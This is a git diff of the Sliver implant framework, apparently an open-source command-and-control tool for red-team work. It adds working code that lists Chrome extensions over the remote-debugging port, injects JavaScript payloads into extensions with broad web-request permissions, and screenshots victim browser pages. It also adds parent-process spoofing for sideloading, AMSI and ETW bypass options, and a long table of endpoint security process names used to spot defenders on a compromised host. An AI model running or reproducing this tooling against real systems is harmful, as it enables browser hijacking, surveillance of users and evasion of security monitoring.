strings.Split(curse.SessionID, "-")[0],
|
||||
fmt.Sprintf("%d", curse.PID),
|
||||
curse.Platform,
|
||||
curse.ExePath,
|
||||
curse.DebugURL().String(),
|
||||
})
|
||||
return true
|
||||
})
|
||||
if 0 < len(cursedProcesses) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
|
||||
})
|
||||
for _, rowEntries := range cursedProcesses {
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
} else {
|
||||
con.PrintInfof("No cursed processes\n")
|
||||
}
|
||||
}
|
||||
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
|
||||
return true
|
||||
})
|
||||
if len(cursedProcesses) < 1 {
|
||||
con.PrintErrorf("No cursed processes\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
port2process := map[int]*core.CursedProcess{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, cursedProcess := range cursedProcesses {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\n",
|
||||
cursedProcess.BindTCPPort,
|
||||
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
|
||||
cursedProcess.ExePath)
|
||||
port2process[cursedProcess.BindTCPPort] = cursedProcess
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
@@ -90,7 +90,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Int("ppid")),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
|
||||
@@ -50,6 +50,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
@@ -62,6 +64,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
ProcessArgs: processArgs,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -281,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
@@ -473,6 +477,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
uri.Path = strings.TrimSuffix(uri.Path, "/")
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
|
||||
@@ -103,6 +103,8 @@ var (
|
||||
consts.ReactionStr: reactionHelp,
|
||||
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
|
||||
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
|
||||
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
|
||||
|
||||
If no extension is specified, Sliver will enumerate all installed extensions, extract their
|
||||
permissions and determine a valid target for injection. For Cursed Chrome to work properly
|
||||
the target extension must have either of these two sets of permissions:
|
||||
|
||||
1. "webRequest" "webRequestBlocking" "<all_urls>"
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
|
||||
@@ -39,6 +39,11 @@ var (
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
@@ -46,12 +51,28 @@ var (
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -19,6 +19,7 @@ package reaction
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -29,9 +30,10 @@ import (
|
||||
|
||||
// ReactionSaveCmd - Manage reactions to events
|
||||
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
|
||||
reactionPath := GetReactionFilePath()
|
||||
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved reactions to disk\n")
|
||||
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
|
||||
}
|
||||
}
|
||||
@@ -157,6 +157,8 @@ func emojiState(state string) string {
|
||||
return "⏳"
|
||||
case "failed":
|
||||
return "❌"
|
||||
case "canceled":
|
||||
return "🚫"
|
||||
default:
|
||||
return "❓"
|
||||
}
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
package tasks
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
|
||||
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon := con.ActiveTarget.GetBeaconInteractive()
|
||||
if beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
idArg := ctx.Args.String("id")
|
||||
var task *clientpb.BeaconTask
|
||||
var err error
|
||||
if idArg == "" {
|
||||
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
tasks := []*clientpb.BeaconTask{}
|
||||
for _, task := range beaconTasks.Tasks {
|
||||
if task.State == "pending" {
|
||||
tasks = append(tasks, task)
|
||||
}
|
||||
}
|
||||
if len(tasks) == 0 {
|
||||
con.PrintErrorf("No pending tasks for beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
task, err = SelectBeaconTask(tasks)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf(console.UpN+console.Clearln, 1)
|
||||
} else {
|
||||
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if task != nil {
|
||||
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Task %s canceled\n", task.ID)
|
||||
}
|
||||
}
|
||||
@@ -97,6 +97,8 @@ func prettyState(state string) string {
|
||||
return console.Bold + console.Orange + state + console.Normal
|
||||
case "completed":
|
||||
return console.Bold + console.Green + state + console.Normal
|
||||
case "canceled":
|
||||
return console.Bold + console.Gray + state + console.Normal
|
||||
default:
|
||||
return state
|
||||
}
|
||||
|
||||
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
core.GetTunnels().CloseForSession(session.ID)
|
||||
core.CloseCursedProcesses(session.ID)
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
|
||||
@@ -104,6 +104,7 @@ const (
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
CancelStr = "cancel"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerInfoStr = "info"
|
||||
@@ -238,6 +239,12 @@ const (
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
|
||||
Cursed = "cursed"
|
||||
CursedChrome = "chrome"
|
||||
CursedConsole = "console"
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
// SessionID -> CursedProcess
|
||||
CursedProcesses = &sync.Map{}
|
||||
)
|
||||
|
||||
type CursedProcess struct {
|
||||
SessionID string
|
||||
PID uint32
|
||||
BindTCPPort int
|
||||
PortFwd *Portfwd
|
||||
Platform string
|
||||
ExePath string
|
||||
ChromeUserDataDir string
|
||||
}
|
||||
|
||||
func (c *CursedProcess) DebugURL() *url.URL {
|
||||
return &url.URL{
|
||||
Scheme: "http",
|
||||
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
|
||||
Path: "/json",
|
||||
}
|
||||
}
|
||||
|
||||
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
|
||||
var cursedProcesses []*CursedProcess
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
cursedProcesses = append(cursedProcesses, cursedProcess)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return cursedProcesses
|
||||
}
|
||||
|
||||
func CloseCursedProcesses(sessionID string) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
defer func() {
|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
|
||||
defer func() {
|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,300 @@
|
||||
package overlord
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
const (
|
||||
// AllURLs - All URLs permission
|
||||
AllURLs = "<all_urls>"
|
||||
|
||||
// AllHTTP - All HTTP permission
|
||||
AllHTTP = "http://*/*"
|
||||
|
||||
// AllHTTPS - All HTTP permission
|
||||
AllHTTPS = "https://*/*"
|
||||
|
||||
// WebRequest - WebRequest permission
|
||||
WebRequest = "webRequest"
|
||||
|
||||
// WebRequestBlocking - WebRequestBlocking permission
|
||||
WebRequestBlocking = "webRequestBlocking"
|
||||
|
||||
// FetchManifestJS - Get extension manifest
|
||||
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrTargetNotFound - Returned when a target cannot be found
|
||||
ErrTargetNotFound = errors.New("Target not found")
|
||||
)
|
||||
|
||||
// ManifestBackground - An extension manifest file
|
||||
type ManifestBackground struct {
|
||||
Scripts []string `json:"scripts"`
|
||||
Persistent bool `json:"persistent"`
|
||||
}
|
||||
|
||||
// Manifest - An extension manifest file
|
||||
type Manifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Description string `json:"description"`
|
||||
ManifestVersion int `json:"manifest_version"`
|
||||
Permissions []string `json:"permissions"`
|
||||
Background ManifestBackground `json:"background"`
|
||||
}
|
||||
|
||||
// ChromeDebugTarget - A single debug context object
|
||||
type ChromeDebugTarget struct {
|
||||
Description string `json:"description"`
|
||||
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Type string `json:"type"`
|
||||
URL string `json:"url"`
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
|
||||
var allocCtx context.Context
|
||||
|
||||
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
|
||||
opts := []func(*chromedp.ExecAllocator){
|
||||
chromedp.Flag("restore-last-session", true),
|
||||
chromedp.UserDataDir(userHomeDir),
|
||||
}
|
||||
switch platform {
|
||||
case "darwin":
|
||||
opts = append(opts,
|
||||
chromedp.Flag("headless", false),
|
||||
chromedp.Flag("use-mock-keychain", false),
|
||||
)
|
||||
default:
|
||||
opts = append(opts, chromedp.Headless)
|
||||
}
|
||||
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
|
||||
return opts
|
||||
}
|
||||
|
||||
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
|
||||
var (
|
||||
cancel context.CancelFunc
|
||||
)
|
||||
if webSocketURL != "" {
|
||||
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
|
||||
} else {
|
||||
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
|
||||
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
|
||||
}
|
||||
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
|
||||
return taskCtx, taskCancel, cancel
|
||||
}
|
||||
|
||||
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
|
||||
targets, err := chromedp.Targets(ctx)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, targetInfo := range targets {
|
||||
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
|
||||
return targetInfo
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func contains(haystack []string, needle string) bool {
|
||||
set := make(map[string]struct{}, len(haystack))
|
||||
for _, entry := range haystack {
|
||||
set[entry] = struct{}{}
|
||||
}
|
||||
_, ok := set[needle]
|
||||
return ok
|
||||
}
|
||||
|
||||
func containsAll(haystack []string, needles []string) bool {
|
||||
all := true
|
||||
for _, needle := range needles {
|
||||
if !contains(haystack, needle) {
|
||||
all = false
|
||||
break
|
||||
}
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ExecuteJS - injects a JavaScript code into a target
|
||||
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
|
||||
targetInfo := findTargetInfoByID(ctx, targetID)
|
||||
if targetInfo == nil {
|
||||
return nil, ErrTargetNotFound
|
||||
}
|
||||
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
var result []byte
|
||||
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
|
||||
return result, err
|
||||
}
|
||||
|
||||
// FindExtensionWithPermissions - Find an extension with a permission
|
||||
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
return &target, nil
|
||||
}
|
||||
}
|
||||
return nil, nil // No targets, no errors
|
||||
}
|
||||
|
||||
// FindExtensionsWithPermissions - Find an extension with a permission
|
||||
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensions := []*ChromeDebugTarget{}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
extensions = append(extensions, &target)
|
||||
}
|
||||
}
|
||||
return extensions, nil
|
||||
}
|
||||
|
||||
// QueryDebugTargets - Query debug listener using HTTP client
|
||||
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
return debugContexts, err
|
||||
}
|
||||
|
||||
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
|
||||
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionContexts := []ChromeDebugTarget{}
|
||||
for _, debugCtx := range debugContexts {
|
||||
ctxURL, err := url.Parse(debugCtx.URL)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if ctxURL.Scheme == "chrome-extension" {
|
||||
extensionContexts = append(extensionContexts, debugCtx)
|
||||
}
|
||||
}
|
||||
return extensionContexts, nil
|
||||
}
|
||||
|
||||
// Screenshot - Take a screenshot of a Chrome context
|
||||
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
|
||||
var result []byte
|
||||
screenshotTask := chromedp.Tasks{
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result, err = page.CaptureScreenshot().
|
||||
WithQuality(quality).
|
||||
WithClip(&page.Viewport{
|
||||
X: contentSize.X,
|
||||
Y: contentSize.Y,
|
||||
Width: contentSize.Width,
|
||||
Height: contentSize.Height,
|
||||
Scale: 1,
|
||||
}).Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
|
||||
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
|
||||
defer taskCancel()
|
||||
defer cancel()
|
||||
targetInfo := findTargetInfoByID(taskCtx, targetID)
|
||||
if targetInfo == nil {
|
||||
return []byte{}, ErrTargetNotFound
|
||||
}
|
||||
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
if err := chromedp.Run(ctx, screenshotTask); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
+1
-1
@@ -20,7 +20,7 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18.5"
|
||||
GO_VER="1.18.6"
|
||||
GARBLE_VER="1.18.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
|
||||
@@ -1,22 +1,26 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
go 1.18
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/fatih/color v1.12.0
|
||||
github.com/gofrs/uuid v3.3.0+incompatible
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
